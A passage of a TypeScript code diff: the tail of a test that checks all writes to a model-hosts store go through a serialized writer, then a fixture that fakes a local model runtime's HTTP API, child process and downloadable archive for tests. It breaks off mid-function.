+      errorCode: 'OPERATION_FAILED',
+      error: 'EACCES',
+    });
+  });
+});
+
+describe('every writer goes through the serialized writer', () => {
+  const root = fileURLToPath(new URL('../', import.meta.url));
+
+  function sourceFiles(folder: string, out: string[] = []): string[] {
+    for (const name of readdirSync(folder)) {
+      const path = join(folder, name);
+      if (statSync(path).isDirectory()) {
+        if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
+      } else if (name.endsWith('.ts')) {
+        out.push(path);
+      }
+    }
+    return out;
+  }
+
+  /** The file without its comment lines: a comment may name the function it explains. */
+  const code = (path: string): string =>
+    readFileSync(path, 'utf8')
+      .split('\n')
+      .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
+      .join('\n');
+
+  it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
+    const callers = sourceFiles(join(root, 'src'))
+      .filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
+      .map((path) => path.slice(root.length));
+    expect(callers).toEqual(['src/custom-model-hosts.ts']);
+  });
+
+  it('the endpoint routes and the sweep name the writer, five times', () => {
+    const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
+    // create, update, delete, discover-models and the re-discovery sweep.
+    expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
+    expect(routes).not.toContain('writeCustomModelHosts');
+  });
+});

test/fixtures/fake-ollama.ts

@@ -0,0 +1,810 @@
+/**
+ * @fileoverview A fake model runtime for the local model tests: an in-process HTTP server on
+ * a port the system picks, plus a fake child process that "is" the runtime, so a test starts
+ * no real runtime, downloads no real model and binds no fixed port.
+ *
+ * Plain `node:http`, like test/fixtures/mock-openai-server.ts. Every request is captured
+ * (`requests`: method, path, headers, parsed JSON body). Every answer has the shape the real
+ * runtime (0.40.15) gave on 2026-11-06; where a shape was not captured, the comment at its
+ * handler says so.
+ *
+ * What it answers:
+ *
+ * | Route                             | Answer                                                              |
+ * |-----------------------------------|---------------------------------------------------------------------|
+ * | `GET /`                           | `Ollama is running`                                                 |
+ * | `GET /api/version`                | `{"version":"0.40.15"}`                                             |
+ * | `GET /api/tags`                   | the model once it is installed (digest, format, runner)             |
+ * | `GET /api/ps`                     | the model once a chat loaded it (`size`, `size_vram`, `context_length`) |
+ * | `POST /api/pull`                  | NDJSON progress, see `FakePullSwitches`                             |
+ * | `DELETE /api/delete`              | 200, or 404 for a model that is not installed                       |
+ * | `GET /v1/models`                  | the model's id, or `data: null` when none is installed (as the real one) |
+ * | `POST /v1/chat/completions`       | a plain answer, or a tool call when the request carries `tools`     |
+ * | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches`   |
+ *
+ * The switches (`fake.switches`, changeable between requests):
+ *  - `pull.fail`: `error-line` (the real `{"error":"max retries exceeded: ..."}` line),
+ *    `cut` (the socket is destroyed mid-stream) or `not-found`; `pull.failTimes` says how many
+ *    pulls fail before one succeeds; `pull.resumeFrom` and the fake's own memory of how far the
+ *    last pull got make the next pull's first line start there, as a resumed pull does.
+ *  - `pull.shape`: `mlx` (one line shape, what a Mac really gets) or `gguf` (one layer after
+ *    the other).
+ *  - `ps`: `sizeVram` below `size` (not all on the GPU), another `contextLength`, or
+ *    `loaded: false`.
+ *  - `chat`: `error` makes the chat that loads the model fail.
+ *  - `tool`: `call` (default), `none` (an answer without a tool call), `length` (the token
+ *    limit ended the answer), `bad-arguments` (a tool call whose arguments are not JSON).
+ *  - `archive`: cut the download after N bytes for the first M requests, ignore `Range`, or
+ *    answer another status.
+ *  - `spawn`: the fake child never listens, or exits at once.
+ *
+ * The fake child (`fake.spawn`, the shape of `RuntimeSupervisorDeps.spawn`): "starting" it
+ * makes the fake listen on the port of `OLLAMA_HOST` from the environment it is given and
+ * writes the runtime's start-up log to its stderr, including the line "inference compute"
+ * with the device total. Killing it closes the listener and emits `exit`. So a supervisor
+ * test reserves a port (`freeLoopbackPort()`), builds the fake with `createFakeOllama()`
+ * (not listening yet) and injects `fake.spawn`.
+ *
+ * Port: none fixed. `startFakeOllama()` listens on 0 and reports `port`.
+ */
+
+import { createHash } from 'node:crypto';
+import { EventEmitter } from 'node:events';
+import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http';
+import { createServer as createNetServer, type AddressInfo, type Socket } from 'node:net';
+import { PassThrough } from 'node:stream';
+import { gzipSync } from 'node:zlib';
+import type { ChildProcess, SpawnOptions } from 'node:child_process';
+import type { LocalModelRuntimePin } from '../../src/types.js';
+
+// ---------- Real log lines ----------
+
+/**
+ * The runtime's line with the device total, VERBATIM from the 16 GB Mac mini (Apple M4),
+ * 2026-11-06. `parseInferenceComputeTotal()` must read 11.8 GiB from it.
+ */
+export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI =
+  'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"';
+
+/**
+ * The same line for the 48 GB MacBook (Apple M5 Pro), RECONSTRUCTED: the measurement notes of
+ * 2026-11-06 quote only `total="37.4 GiB" available="37.4 GiB"` from it, so the rest is the
+ * Mac mini's line with the chip name and a time filled in (hence no `REAL_` in the name).
+ * `parseInferenceComputeTotal()` must read 40,157,944,217 bytes from it.
+ */
+export const INFERENCE_COMPUTE_LINE_MACBOOK =
+  'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"';
+
+/** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */
+export const MACBOOK_MEASURED_TOTAL_BYTES = 40_157_944_217;
+
+/**
+ * The line that FOLLOWS it and also carries the total, under another key. Verbatim from the
+ * Mac mini. A parser of the budget must not need it and must not be confused by it.
+ */
+export const REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI =
+  'time=2026-11-06T13:21:49.885+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="11.8 GiB" default_num_ctx=4096';
+
+/**
+ * What the runtime writes when it starts, in order, with `total` as the device total (the
+ * text inside the quotes, such as '37.4 GiB'). The shapes are the Mac mini's.
+ */
+export function fakeRuntimeLog(total = '37.4 GiB', port = 11435): string[] {
+  return [
+    `time=2026-11-06T15:04:12.210+01:00 level=INFO source=routes.go:2536 msg="Listening on 127.0.0.1:${port} (version 0.40.15)"`,
+    'time=2026-11-06T15:04:12.211+01:00 level=INFO source=runner.go:60 msg="discovering available GPUs..."',
+    `time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="${total}" available="${total}"`,
+    `time=2026-11-06T15:04:12.371+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="${total}" default_num_ctx=32768`,
+  ];
+}
+
+/** The error line of a pull whose download kept failing. Verbatim from the Mac mini. */
+export const REAL_PULL_ERROR_LINE = '{"error":"max retries exceeded: local error: tls: bad record MAC"}';
+
+// ---------- Options and switches ----------
+
+/** The model the fake serves. Default: what the MacBook really got for `qwen3.6:35b-a3b`. */
+export interface FakeOllamaModel {
+  id: string;
+  /** The pull's total and the size `/api/tags` reports. */
+  bytes: number;
+  /** As `/api/tags` reports it: lowercase hex, no prefix. */
+  digest: string;
+  format: string;
+  runner: string;
+  quantization: string;
+  capabilities: string[];
+}
+
+export const DEFAULT_FAKE_MODEL: FakeOllamaModel = {
+  id: 'qwen3.6:35b-a3b',
+  bytes: 23_105_798_956,
+  digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
+  format: 'safetensors',
+  runner: 'mlx',
+  quantization: 'nvfp4',
+  capabilities: ['completion', 'vision', 'tools', 'thinking'],
+};
+
+export interface FakePullSwitches {
+  /**
+   * `mlx`: every progress line is `{"status":"pulling model","digest":"sha256:model",...}`,
+   * what a Mac gets for an MLX build. `gguf`: one layer after the other, each
+   * `{"status":"pulling <12 hex>","digest":"sha256:<64 hex>",...}`, the first lines of a layer
+   * without `completed`, then `verifying sha256 digest`.
+   */
+  shape: 'mlx' | 'gguf';
+  /** How many progress lines the large layer of one full pull is spread over. Default 20. */
+  progressLines: number;
+  /** Milliseconds between two lines. Default 0. Raise it to abort or cancel mid-stream. */
+  lineDelayMs: number;
+  /**
+   * How a pull goes wrong.
+   *  - `none`: it succeeds.
+   *  - `error-line`: after `failAfterLines` progress lines, the real error line, then the body ends.
+   *  - `cut`: after `failAfterLines` progress lines the socket is destroyed (no `success`, no error).
+   *  - `not-found`: `pulling manifest`, then an error line saying the manifest does not exist.
+   */
+  fail: 'none' | 'error-line' | 'cut' | 'not-found';
+  /** Progress lines sent before the failure. Default 10. */
+  failAfterLines: number;
+  /** How many pulls fail before one succeeds. Default `Infinity`: every pull fails. */
+  failTimes: number;
+  /** Bytes the first pull starts at, as if an earlier run had left partial blobs. Default 0. */
+  resumeFrom: number;
+}
+
+export interface FakePsSwitches {
+  /** `size`. Default: the model's bytes plus 100 MB. */
+  size?: number;
+  /** `size_vram`. Default: equal to `size` (all on the GPU). Set it lower for "does not fit". */
+  sizeVram?: number;
+  /** `context_length`. Default: `FakeOllamaOptions.contextLength`. */
+  contextLength?: number;
+  /** False: `/api/ps` stays empty even after a chat. */
+  loaded?: boolean;
+}
+
+export interface FakeArchiveSwitches {
+  /** Destroy the socket after this many bytes of the body were sent. */
+  cutAfterBytes?: number;
+  /** For how many requests the cut applies. Default 1. */
+  cutTimes: number;
+  /** True: answer 200 with the whole body even to a `Range` request. */
+  ignoreRange: boolean;
+  /** Answer this status with an empty body instead (404, 503). */
+  status?: number;
+}
+
+export interface FakeSpawnSwitches {
+  /** True: the child starts and writes its log but never listens (the supervisor's `runtime-start-failed`). */
+  neverListens: boolean;
+  /** A number: the child exits with this code right after it was started. */
+  exitsAtOnce?: number;
+  /** The device total the child logs (the text inside the quotes). Default '37.4 GiB'. */
+  total: string;
+  /** False: the "inference compute" line is left out of the log. */
+  logsBudget: boolean;
+}
+
+export interface FakeOllamaSwitches {
+  pull: FakePullSwitches;
+  ps: FakePsSwitches;
+  /** `error`: `POST /v1/chat/completions` WITHOUT tools answers 500. */
+  chat: 'ok' | 'error';
+  /**
+   * What `POST /v1/chat/completions` WITH tools answers.
+   *  - `call`: one tool call with JSON arguments, `finish_reason: "tool_calls"`.
+   *  - `none`: a text answer, `finish_reason: "stop"`.
+   *  - `length`: an empty answer with a `reasoning` text, `finish_reason: "length"`.
+   *  - `bad-arguments`: a tool call whose `arguments` do not parse.
+   */
+  tool: 'call' | 'none' | 'length' | 'bad-arguments';
+  archive: FakeArchiveSwitches;
+  spawn: FakeSpawnSwitches;
+}
+
+export interface FakeOllamaOptions {
+  /** What `/api/version` answers. Default '0.40.15'. */
+  version?: string;
+  model?: Partial<FakeOllamaModel>;
+  /** True: the model is installed from the start. Default false: it appears after a pull that succeeded. */
+  installed?: boolean;
+  /** The context length the runtime "was started with": what `/api/ps` reports. Default 131072. */
+  contextLength?: number;
+  pull?: Partial<FakePullSwitches>;
+  ps?: FakePsSwitches;
+  chat?: FakeOllamaSwitches['chat'];
+  tool?: FakeOllamaSwitches['tool'];
+  archive?: Partial<FakeArchiveSwitches>;
+  spawn?: Partial<FakeSpawnSwitches>;
+  /** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */
+  archiveFiles?: Record<string, string>;
+}
+
+export interface CapturedRequest {
+  method: string;
+  path: string;
+  headers: Record<string, string | string[] | undefined>;
+  /** The parsed JSON body, the raw text when it is not JSON, `undefined` when there is none. */
+  body: unknown;
+}
+
+/** The fake child process: enough of `ChildProcess` for a supervisor. */
+export class FakeRuntimeChild extends EventEmitter {
+  readonly stdout = new PassThrough();
+  readonly stderr = new PassThrough();
+  readonly stdin = null;
+  exitCode: number | null = null;
+  signalCode: NodeJS.Signals | null = null;
+  killed = false;
+  /** Every signal `kill()` was called with. */
+  readonly signals: (NodeJS.Signals | number)[] = [];
+
+  constructor(
+    /** Above every real pid (Linux allows at most 4194304), so a stray `process.kill(pid)` hits nothing. */
+    readonly pid: number,
+    readonly command: string,
+    readonly args: readonly string[],
+    /** The environment the child was started with: what `runtimeEnv()` built. */
+    readonly env: NodeJS.ProcessEnv,
+    private readonly onGone: () => Promise<void>
+  ) {
+    super();
+  }
+
+  /** As `ChildProcess.kill()`: the listener closes and `exit` then `close` are emitted. */
+  kill(signal: NodeJS.Signals | number = 'SIGTERM'): boolean {
+    this.signals.push(signal);
+    if (this.exitCode !== null || this.signalCode !== null) return false;
+    this.killed = true;
+    void this.finish(null, typeof signal === 'string' ? signal : 'SIGTERM');
+    return true;
+  }
+
+  /** The child dies by itself with `code`, as a crash would. */
+  crash(code = 1): void {
+    if (this.exitCode !== null || this.signalCode !== null) return;
+    void this.finish(code, null);
+  }
+
+  private async finish(code: number | null, signal: NodeJS.Signals | null): Promise<void> {
+    this.exitCode = code;
+    this.signalCode = signal;
+    await this.onGone();
+    this.stdout.end();
+    this.stderr.end();
+    this.emit('exit', code, signal);
+    this.emit('close', code, signal);
+  }
+}
+
+export interface FakeOllama {
+  /** `http://127.0.0.1:<port>`. Empty while the fake does not listen. */
+  readonly baseUrl: string;
+  /** 0 while the fake does not listen. */
+  readonly port: number;
+  readonly listening: boolean;
+  /** Every request so far, oldest first. */
+  readonly requests: CapturedRequest[];
+  /** Change these between requests. */
+  readonly switches: FakeOllamaSwitches;
+  readonly model: FakeOllamaModel;
+  /** What the fake remembers. */
+  readonly state: {
+    /** The model is in `/api/tags` and `/v1/models`. */
+    installed: boolean;
+    /** A chat loaded the model: it is in `/api/ps`. */
+    loaded: boolean;
+    /** How far the pulls got: what the next pull's first progress line starts at. */
+    completedBytes: number;
+    /** How many `POST /api/pull` arrived. */
+    pulls: number;
+    /** How many `GET` of the archive arrived. */
+    archiveRequests: number;
+    /** Every child `spawn` made, oldest first. */
+    children: FakeRuntimeChild[];
+  };
+  /** The fake runtime archive: a real gzipped tar. */
+  readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string };
+  /** A pin that points at this fake's archive (valid while it listens). */
+  pin(): LocalModelRuntimePin;
+  /** Starts listening on 127.0.0.1. Default port 0: the system picks one. */
+  listen(port?: number): Promise<void>;
+  /** Stops listening and drops every open connection. Safe to call twice. */
+  close(): Promise<void>;
+  /**
+   * A stand-in for `child_process.spawn` that "starts the runtime": the fake listens on the
+   * port of `options.env.OLLAMA_HOST` and the child logs the start-up lines. See the file header.
+   */
+  spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess;
+}
+
+// ---------- Helpers ----------
+
+/** A loopback port nothing listens on right now: bound on 0, read, closed again. */
+export async function freeLoopbackPort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const probe = createNetServer();
+    probe.once('error', reject);
+    probe.listen(0, '127.0.0.1', () => {
+      const { port } = probe.address() as AddressInfo;
+      probe.close(() => resolve(port));
+    });
+  });
+}
+
+/** One file as a tar entry: a 512-byte ustar header, the content, zero padding to 512. */
+function tarEntry(name: string, content: Buffer, mode: number): Buffer {
+  const header = Buffer.alloc(512);
+  header.write(name, 0, 100, 'utf8');
+  header.write(mode.toString(8).padStart(7, '0') + '\0', 100, 8, 'ascii');
+  header.write('0000000\0', 108, 8, 'ascii');
+  header.write('0000000\0', 116, 8, 'ascii');
+  header.write(content.length.toString(8).padStart(11, '0') + '\0', 124, 12, 'ascii');
+  header.write('00000000000\0', 136, 12, 'ascii');
+  header.write('        ', 148, 8, 'ascii');
+  header.write('0', 156, 1, 'ascii');
+  header.write('ustar\0', 257, 6, 'ascii');
+  header.write('00', 263, 2, 'ascii');
+  let sum = 0;
+  for (const byte of header) sum += byte;
+  header.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii');
+  const padding = Buffer.alloc((512 - (content.length % 512)) % 512);
+  return Buffer.concat([header, content, padding]);
+}
+
+/** A gzipped tar of `files`, which `/usr/bin/tar -xzf` unpacks. A file named `ollama` is executable. */
+export function buildFakeArchive(files: Record<string, string>): Buffer {
+  const entries = Object.entries(files).map(([name, text]) =>
+    tarEntry(name, Buffer.from(text, 'utf8'), name === 'ollama' ? 0o755 : 0o644)
+  );
+  return gzipSync(Buffer.concat([...entries, Buffer.alloc(1024)]));
+}
+
+function readBody(req: IncomingMessage): Promise<unknown> {
+  return new Promise((resolve) => {
+    const chunks: Buffer[] = [];
+    req.on('data', (chunk: Buffer) => chunks.push(chunk));
+    req.on('end', () => {
+      const raw = Buffer.concat(chunks).toString('utf8');
+      if (!raw) return resolve(undefined);
+      try {
+        resolve(JSON.parse(raw));
+      } catch {
+        resolve(raw);
+      }
+    });
+    req.on('error', () => resolve(undefined));
+  });
+}
+
+function sendJson(res: ServerResponse, status: number, body: unknown): void {
+  res.writeHead(status, { 'content-type': 'application/json; charset=utf-8' });
+  res.end(JSON.stringify(body));
+}
+
+const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
+
+/** A value for one tool parameter, by its JSON schema type. */
+function placeholderFor(schema: unknown): unknown {
+  const type = (schema as { type?: unknown } | undefined)?.type;
+  if (type === 'number' || type === 'integer') return 1;
+  if (type === 'boolean') return true;
+  if (type === 'array') return [];
+  if (type === 'object') return {};
+  return 'README.md';
+}
+
+/** The small layers a GGUF pull ends with: the sizes of the real `qwen2.5:0.5b` pull. */
+const GGUF_SMALL_LAYERS = [68, 1482, 11343, 490];
+
+// ---------- The fake ----------
+
+/** A fake that does not listen yet. For a supervisor test, which injects `fake.spawn`. */
+export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
+  const version = options.version ?? '0.40.15';
+  const model: FakeOllamaModel = { ...DEFAULT_FAKE_MODEL, ...options.model };
+  const contextLength = options.contextLength ?? 131072;
+  const switches: FakeOllamaSwitches = {
+    pull: {
+      shape: 'mlx',
+      progressLines: 20,
+      lineDelayMs: 0,
+      fail: 'none',
+      failAfterLines: 10,
+      failTimes: Infinity,
+      resumeFrom: 0,
+      ...options.pull,
+    },
+    ps: { ...options.ps },
+    chat: options.chat ?? 'ok',
+    tool: options.tool ?? 'call',
+    archive: { cutTimes: 1, ignoreRange: false, ...options.archive },
+    spawn: { neverListens: false, total: '37.4 GiB', logsBudget: true, ...options.spawn },
+  };
+  const archiveBody = buildFakeArchive(options.archiveFiles ?? { ollama: '#!/bin/sh\necho "fake runtime"\n' });
+  const archive = {
+    body: archiveBody,
+    size: archiveBody.length,
+    sha256: createHash('sha256').update(archiveBody).digest('hex'),
+  };
+  const state: FakeOllama['state'] = {
+    installed: options.installed ?? false,
+    loaded: false,
+    completedBytes: 0,
+    pulls: 0,
+    archiveRequests: 0,
+    children: [],
+  };
+  const requests: CapturedRequest[] = [];
+  const sockets = new Set<Socket>();
+  let server: Server | undefined;
+  let port = 0;
+  let failedPulls = 0;
+  let archiveCuts = 0;
+  let nextPid = 9_000_001;
+  let chatCounter = 100;
+
+  const modelDetails = (): Record<string, unknown> => ({
+    parent_model: '',
+    format: model.format,
+    family: 'qwen35',
+    families: ['qwen35'],
+    parameter_size: '35.9B',
+    quantization_level: model.quantization,
+  });
+
+  async function handlePull(res: ServerResponse, body: unknown): Promise<void> {
+    state.pulls += 1;
+    const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
+    const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
+    const { pull } = switches;
+    res.writeHead(200, { 'content-type': 'application/x-ndjson' });
+    let gone = false;
+    res.on('close', () => {
+      gone = true;
+    });
+    // Each line is handed to the system before the next step, so a cut that follows really
+    // arrives AFTER the lines before it, as on a real connection.
+    const line = async (value: unknown): Promise<boolean> => {
+      if (gone) return false;
+      await new Promise<void>((resolve) => res.write(JSON.stringify(value) + '\n', () => resolve()));
+      if (pull.lineDelayMs > 0) await sleep(pull.lineDelayMs);
+      return !gone;
+    };
+
+    if (!(await line({ status: 'pulling manifest' }))) return;
+    // Not captured on a Mac: the wording of the runtime for a tag the registry does not have.
+    if (pull.fail === 'not-found' || askedId !== model.id) {
+      await line({ error: 'pull model manifest: file does not exist' });
+      res.end();
+      return;
+    }
+
+    const failing = pull.fail !== 'none' && failedPulls < pull.failTimes;
+    const smallTotal = GGUF_SMALL_LAYERS.reduce((sum, size) => sum + size, 0);
+    const largeTotal = pull.shape === 'gguf' ? model.bytes - smallTotal : model.bytes;
+    const largeDigest = pull.shape === 'gguf' ? `sha256:${model.digest}` : 'sha256:model';
+    const largeStatus = pull.shape === 'gguf' ? `pulling ${model.digest.slice(0, 12)}` : 'pulling model';
+    const start = Math.min(Math.max(state.completedBytes, pull.resumeFrom), largeTotal);
+    const lines = Math.max(1, pull.progressLines);
+
+    // A GGUF layer announces itself without `completed` first.
+    if (pull.shape === 'gguf' && start === 0) {
+      if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal }))) return;
+    }
+    for (let i = 0; i <= lines; i++) {
+      if (failing && i === pull.failAfterLines) {
+        failedPulls += 1;
+        if (pull.fail === 'error-line') {
+          res.write(REAL_PULL_ERROR_LINE + '\n');
+          res.end();
+        } else {
+          res.socket?.destroy();
+        }
+        return;
+      }
+      const completed = i === lines ? largeTotal : start + Math.floor(((largeTotal - start) * i) / lines);
+      if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal, completed }))) return;
+      state.completedBytes = completed;
+    }
+
+    if (pull.shape === 'gguf') {
+      for (const [index, size] of GGUF_SMALL_LAYERS.entries()) {
+        const hex = createHash('sha256').update(`${model.id}:${index}`).digest('hex');
+        const layer = { status: `pulling ${hex.slice(0, 12)}`, digest: `sha256:${hex}`, total: size };
+        if (!(await line(layer))) return;
+        if (!(await line({ ...layer, completed: size }))) return;
+      }
+      if (!(await line({ status: 'verifying sha256 digest' }))) return;
+    }
+    if (!(await line({ status: 'writing manifest' }))) return;
+    state.installed = true;
+    state.completedBytes = model.bytes;
+    await line({ status: 'success' });
+    res.end();
+  }
+
+  function handleChat(res: ServerResponse, body: unknown): void {
+    const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {};
+    if (!state.installed || request.model !== model.id) {
+      sendJson(res, 404, {
+        error: {
+          message: `model '${String(request.model)}' not found`,
+          type: 'not_found_error',
+          param: null,
+          code: null,
+        },
+      });
+      return;
+    }
+    const tools = Array.isArray(request.tools) ? request.tools : [];
+    const envelope = (message: Record<string, unknown>, finishReason: string): Record<string, unknown> => ({
+      id: `chatcmpl-${chatCounter++}`,
+      object: 'chat.completion',
+      created: 1793968038,
+      model: model.id,
+      system_fingerprint: 'fp_ollama',
+      choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
+      usage: {
+        prompt_tokens: 36,
+        prompt_tokens_details: { cached_tokens: 0 },
+        completion_tokens: 2,
+        total_tokens: 38,
+      },
+    });
+
+    if (tools.length === 0) {
+      if (switches.chat === 'error') {
+        // Not captured: the runtime's 500 for a model that fails to load.
+        sendJson(res, 500, {
+          error: { message: 'llm server error: out of memory', type: 'api_error', param: null, code: null },
+        });
+        return;
+      }
+      if (switches.ps.loaded !== false) state.loaded = true;
+      sendJson(res, 200, envelope({ content: 'pong' }, 'stop'));
+      return;
+    }
+
+    if (switches.ps.loaded !== false) state.loaded = true;
+    const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {};
+    const name = typeof fn.name === 'string' ? fn.name : 'tool';
+    const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>;
+    const args = Object.fromEntries(Object.entries(properties).map(([key, schema]) => [key, placeholderFor(schema)]));
+    const toolCall = (argumentsText: string): Record<string, unknown> => ({
+      content: '',
+      tool_calls: [{ id: 'call_ag8rmzix', index: 0, type: 'function', function: { name, arguments: argumentsText } }],
+    });
+    switch (switches.tool) {
+      case 'call':
+        sendJson(res, 200, envelope(toolCall(JSON.stringify(args)), 'tool_calls'));
+        return;
+      case 'bad-arguments':
+        sendJson(res, 200, envelope(toolCall('{"path": '), 'tool_calls'));
+        return;
+      case 'length':
+        sendJson(
+          res,
+          200,
+          envelope({ content: '', reasoning: 'The user wants me to read a file. I should call the tool' }, 'length')
+        );
+        return;
+      case 'none':
+        sendJson(res, 200, envelope({ content: 'I would read the file, but I cannot.' }, 'stop'));
+        return;
+    }
+  }
+
+  function handleArchive(req: IncomingMessage, res: ServerResponse): void {
+    state.archiveRequests += 1;
+    const { archive: sw } = switches;
+    if (sw.status !== undefined) {
+      res.writeHead(sw.status);
+      res.end();
+      return;
+    }
+    let from = 0;
+    const range = /^bytes=(\d+)-$/.exec(String(req.headers.range ?? ''));
+    if (range && !sw.ignoreRange) {
+      from = Number(range[1]);
+      if (from >= archive.size) {
+        res.writeHead(416, { 'content-range': `bytes */${archive.size}` });
+        res.end();
+        return;
+      }
+    }
+    const body = archive.body.subarray(from);
+    const headers: Record<string, string> = {
+      'content-type': 'application/octet-stream',
+      'content-length': String(body.length),
+      'accept-ranges': 'bytes',
+    };
+    if (from > 0) headers['content-range'] = `bytes ${from}-${archive.size - 1}/${archive.size}`;
+    res.writeHead(from > 0 ? 206 : 200, headers);
+    if (req.method === 'HEAD') {
+      res.end();
+      return;
+    }
+    if (sw.cutAfterBytes !== undefined && archiveCuts < sw.cutTimes && sw.cutAfterBytes < body.length) {
+      archiveCuts += 1;
+      res.write(body.subarray(0, sw.cutAfterBytes), () => res.socket?.destroy());
+      return;
+    }
+    res.end(body);
+  }
+
+  async function handle(req: IncomingMessage, res: ServerResponse): Promise<void> {
+    const body = await readBody(req);
+    const path = (req.url ?? '').split('?')[0];
+    const method = req.method ?? 'GET';
+    requests.push({ method, path, headers: req.headers, body });
+
+    if (path === '/' && method === 'GET') {
+      res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' });
+      res.end('Ollama is running');
+      return;
+    }
+    if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version });
+    if (path === '/api/tags' && method === 'GET') {
+      const models = state.installed
+        ? [
+            {
+              name: model.id,
+              model: model.id,
+              modified_at: '2026-11-06T15:10:02.465346347+01:00',
+              size: model.bytes,
+              digest: model.digest,
+              details: { ...modelDetails(), context_length: 262144, runner: model.runner },
+              capabilities: model.capabilities,
+            },
+          ]
+        : [];
+      return sendJson(res, 200, { models });
+    }
+    if (path === '/api/ps' && method === 'GET') {
+      const size = switches.ps.size ?? model.bytes + 100_000_000;
+      const models =
+        state.installed && state.loaded && switches.ps.loaded !== false
+          ? [
+              {
+                name: model.id,
+                model: model.id,
+                size,
+                digest: model.digest,
+                details: modelDetails(),
+                expires_at: '2026-11-06T15:20:09.488045+01:00',
+                size_vram: switches.ps.sizeVram ?? size,
+                context_length: switches.ps.contextLength ?? contextLength,
+                runner: model.runner,
+              },
+            ]
+          : [];
+      return sendJson(res, 200, { models });
+    }
+    if (path === '/api/pull' && method === 'POST') return handlePull(res, body);
+    if (path === '/api/delete' && method === 'DELETE') {
+      // Not captured: the answers of a delete (200 with no body, 404 with an error text).
+      const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
+      const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
+      if (!state.installed || askedId !== model.id) {
+        return sendJson(res, 404, { error: `model '${String(askedId)}' not found` });
+      }
+      state.installed = false;
+      state.loaded = false;
+      state.completedBytes = 0;
+      res.writeHead(200);
+      res.end();
+      return;
+    }
+    if (path === '/v1/models' && method === 'GET') {
+      const data = state.installed
+        ? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }]
+        : null;
+      return sendJson(res, 200, { object: 'list', data });
+    }
+    if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body);
+    if (path === '/download/ollama-darwin.tgz' && (method === 'GET' || method === 'HEAD')) {
+      return handleArchive(req, res);
+    }
+    res.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' });
+    res.end('404 page not found');
+  }
+
+  async function listen(onPort = 0): Promise<void> {
+    if (server) throw new Error('The fake runtime already listens');
+    const created = createServer((req, res) => {
+      handle(req, res).catch(() => {
+        if (!res.headersSent) res.writeHead(500);
+        res.end();
+      });
+    });
+    created.on('connection', (socket) => {
+      sockets.add(socket);
+      socket.on('close', () => sockets.delete(socket));
+    });
+    await new Promise<void>((resolve, reject) => {
+      created.once('error', reject);
+      created.listen(onPort, '127.0.0.1', () => resolve());
+    });
+    server = created;
+    port = (created.address() as AddressInfo).port;
+  }
+
+  async function close(): Promise<void> {
+    const closing = server;
+    if (!closing) return;
+    server = undefined;
+    port = 0;
+    for (const socket of sockets) socket.destroy();
+    await new Promise<void>((resolve) => closing.close(() => resolve()));
+  }
+
+  function spawn(command: string, args: readonly string[], spawnOptions: SpawnOptions): ChildProcess {
+    const env = (spawnOptions.env ?? {}) as NodeJS.ProcessEnv;
+    const child = new FakeRuntimeChild(nextPid++, command, args, env, close);
+    state.children.push(child);
+    const wanted = Number(/:(\d+)$/.exec(env.OLLAMA_HOST ?? '')?.[1] ?? 0);
+    const sw = switches.spawn;
+    void (async () => {
+      // A real child reports nothing before the next turn of the event loop either.
+      await sleep(0);
+      if (sw.exitsAtOnce !== undefined) {
+        child.stderr.write('Error: listen tcp 127.0.0.1: bind: address already in use\n');
+        child.crash(sw.exitsAtOnce);
+        return;
+      }
+      if (!sw.neverListens) {
+        try {
+          await listen(wanted);
+        } catch {
+          child.stderr.write(`Error: listen tcp 127.0.0.1:${wanted}: bind: address already in use\n`);
+          child.crash(1);
+          return;
+        }
+      }
+      for (const text of fakeRuntimeLog(sw.total, wanted)) {
